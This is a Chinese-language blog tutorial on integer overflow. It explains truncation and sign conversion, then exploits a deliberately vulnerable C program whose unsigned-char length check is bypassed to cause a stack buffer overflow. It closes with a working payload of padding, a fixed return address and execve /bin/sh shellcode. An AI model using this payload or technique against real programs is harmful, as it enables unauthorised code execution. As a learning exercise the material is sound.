Pwn

Pwn(整数溢出漏洞)

Posted on 2020-01-03,4 min read

漏洞介绍
整数就是没有小数的数字
在计算机中。有符号数用二进制表示。表示负数的时候。将二进制最高为来表示数字的符号,最高为是1就是负数。最高位是0就表是正数

当然。还有无符号数。也就是没有负数。
当我们尝试将一个数字范围为0-255的数字。
输入256时。就会溢出。返回0
输入257时。返回1
当有符号数溢出时。会从最小的值开始,-xxxxx然后依次+1
以下是各类符号范围大小

漏洞危害
1:
数据截断
当发生溢出时。数据会被截断。
a\b\r为3个8位无符号整数。范围大小为0-255
a=11111111
b=00000001
r=a+b=100000000
由于a和b相加的值超出了8位。发生溢出。截取8位。r就变成了0
2:
宽度溢出
当一个较小宽度的操作数被提升到了较大操作数一样的宽度。然后进行计算。如果计算结果放在较小宽度那里
那么长度就会被截断为较小宽度。比如一个32位的运算结果。放到了16位寄存器。那么就会取后16位

3:
改变符号
有符号整数溢出时。就会改变正负。
0x7fffffff+1=0x80000000=-2147483648
4:
无符号与有符号转换
将有符号数赋给无符号数后。会从-1变成无符号数的最大数
当把无符号数赋给有符号数,会从无符号数最大数变成-1
实验

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
 
void store_passwd_indb(char* passwd) {
}
 
void validate_uname(char* uname) {
}
 
void validate_passwd(char* passwd) {
 char passwd_buf[11];
 unsigned char passwd_len = strlen(passwd); /* [1] */
 if(passwd_len >= 4 && passwd_len <= 8) { /* [2] */         判断长度。整数溢出绕过
  printf("Valid Password\n"); /* [3] */
  fflush(stdout);
  strcpy(passwd_buf,passwd); /* [4] */             261个字符拷贝到11字节大小的数组
 } else {
  printf("Invalid Password\n"); /* [5] */
  fflush(stdout);
 }
 store_passwd_indb(passwd_buf); /* [6] */
}
 
int main(int argc, char* argv[]) {
 if(argc!=3) {
  printf("Usage Error:   \n");
  fflush(stdout);
  exit(-1);
 }
 validate_uname(argv[1]);
 validate_passwd(argv[2]);
 return 0;
}

首先无符号char类型。0-255
然后判断输入4<=8<=
那么输入260<=x<=264即可绕过
输入261.长度为5.就可以绕过
然后将261个字节拷贝到11字节大小的数组里

溢出了。然后用pattern测下偏移

思路就是:24字节+shellcode地址+shellcode+填充

`python -c 'print "A"*24+"BBBB"+"C"*(261-24-4)'`

输入24个A+4个B+C*填充
我们来看下堆栈分配

在堆栈中可以看出。0xffffcf6c就是EIP。我们将其覆盖为shellcode的地址。然后执行到这串代码时。就会跳转到shellcode地址。从而执行shellcode
0xffffcf70为shellcode地址
payload如下:
"A"24+"\x70\xcf\xff\xff"+"jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80"+"C"(261-44-24-4)

成功getshell

下一篇: 安恒2020年元旦月赛(CRC32)→